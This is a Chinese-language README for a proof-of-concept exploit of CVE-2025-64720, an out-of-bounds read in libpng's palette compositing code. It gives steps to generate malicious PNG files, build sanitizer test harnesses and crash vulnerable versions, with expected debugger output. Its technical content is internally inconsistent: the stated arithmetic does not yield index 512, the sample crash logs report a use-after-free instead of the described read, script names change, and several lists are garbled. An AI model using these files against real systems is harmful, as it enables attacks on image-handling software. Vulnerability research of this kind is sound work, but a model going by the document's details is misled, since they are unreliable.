状态:已修复
严重性:高
CVE 标识符:CVE-2025-64720
发现日期:2025-11-XX
公开披露日期:2025-11-21
在 libpng 的 png_image_read_composite 函数中,当处理启用了 PNG_FLAG_OPTIMIZE_ALPHA 的调色板图像时,存在一个越界读取漏洞。png_init_read_transformations 中的调色板合成代码在预乘过程中错误地应用了背景合成,违反了简化 PNG API 所要求的不变性 component ≤ alpha × 257,导致内存损坏。
在 png_init_read_transformations 的第约 1336 行处,调色板扩展代码执行:
component += (255-alpha)*png_sRGB_table[outrow[c]];
该计算产生的 component 值高达 16,776,960(0x1000800),其中 (component >> 15) == 512。随后 png_image_read_composite 中的 PNG_sRGB_FROM_LINEAR 宏执行了越界数组访问:
png_sRGB_base[component>>15] // 访问 png_sRGB_base[512]
png_sRGB_delta[component>>15] // 访问 png_sRGB_delta[512]
// 两个数组的索引仅为 0-511(大小 512)
问题发生在以下条件同时满足时:
PNG_FLAG_OPTIMIZE_ALPHA 被内部启用pngread.c,pngtrans.cpng_image_read_composite,png_init_read_transformations预期:component ≤ alpha × 257
确保 (component >> 15) ≤ 511(在数组边界内)
实际:component = 前一个值 + (255-alpha) × png_sRGB_table[RGB_value]
当 alpha=0,RGB=255 时:component 可能超出预期边界
结果:(component >> 15) 可能等于 512(越界访问)
# 方法 1:pkg-config
pkg-config --modversion libpng
# 方法 2:直接查询库
libpng-config --version
# 方法 3:检查二进制文件
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# 方法 4:从源码中查找
grep PNG_LIBPNG_VER_STRING png.h
攻击者可以通过构造带有特定特征的恶意 PNG 文件来利用此漏洞:
攻击前提条件:
png_image_* 函数)攻击步骤:
PNG_FLAG_OPTIMIZE_ALPHA 被内部启用攻击结果:
png_sRGB_base 或 png_sRGB_delta 越界读取┌─────────────────┐
│ png_sRGB_base │ 数组索引:0-511(512 个条目)
│ [512 entries] │ 有效访问:(component >> 15) ≤ 511
├─────────────────┤
│ [越界访问] │ 索引 512 ← 当 component ≥ 0x1000000 时的易受攻击访问
├─────────────────┤
│ png_sRGB_delta │ 数组索引:0-511(512 个条目)
│ [512 entries] │ 同样易受同种越界访问影响
├─────────────────┤
│ 相邻内存 │ 潜在的信息泄露
└─────────────────┘
导致溢出的计算:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
当 alpha=0 且 palette_RGB=255 时:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512(越界!)
必要条件:
png_image_finish_read)PNG_FORMAT_ARGB、带标志的 PNG_FORMAT_RGBA)可选因素:
PNG_FORMAT_FLAG_AFIRST 的格式增加崩溃可能性不触发条件:
PNG_FORMAT_RGBA(有时安全)# 克隆仓库
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# 生成图像
python3 generate-images.py
# 构建测试
chmod +x build.sh
./build.sh
# 运行漏洞利用(需要易受攻击的 libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)生成触发漏洞的恶意 PNG 文件。
使用方式:
python3 generate_poc.py
输出:
exploit_v1.png - 8x8 图像,均匀白色调色板,零 alphaexploit_v2.png - 8x8 图像,战略性调色板变化exploit_v3.png - 64x64 图像,带有重复模式的大图像exploit_v4.png - 4x4 图像,最小情况,全部 alpha 为零选项:
# 生成特定变体
generate_malicious_png('custom.png', variant=2)
# 变体:
# 1:最大 RGB 值且 alpha 为零(可靠)
# 2:战略性调色板,设计用于最大溢出
# 3:带有重复触发模式的更大图像
# 4:针对全局缓冲区溢出的最小情况
test.c)使用简化 API 处理 PNG 文件并演示漏洞。
编译:
# 使用 AddressSanitizer(推荐 - 最佳检测)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# 使用 UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# 使用调试符号
gcc -o test_debug test.c -lpng -g -O0
# 用于 Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
特性:
在易受攻击版本上(libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
在已修复版本上(libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
预期输出:
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
Size: 356 bytes, Dimensions: 4x4
[+] Enhanced test program: test.c
[+] Build script: build.sh
chmod +x build.sh
./build.sh
预期输出:
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...
[+] Build complete. Executables:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
预期结果(易受攻击 - libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
预期结果(已修复 - libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
预期输出(易受攻击):
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# 程序将崩溃
(gdb) bt
# 显示以 png_safe_execute 为顶部的回溯
(gdb) info registers
(gdb) x/32wx $rsp
# 检查崩溃时的内存状态
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# 程序将崩溃
(lldb) bt
# 显示回溯
(lldb) register read
(lldb) memory read -c 32 -- $sp
png_do_quantize() 中通过恶意调色板索引导致的堆缓冲区溢出png_write_image_8bit() 中的堆缓冲区过度读取png_combine_row() 中的堆缓冲区溢出png_image_free() 中的释放后使用(libpng < 1.6.37)⚠️ 重要提示:本 PoC 仅供教育和研究目的使用。
本代码的预期用途:
本代码的禁止用途:
使用本代码即表示您同意: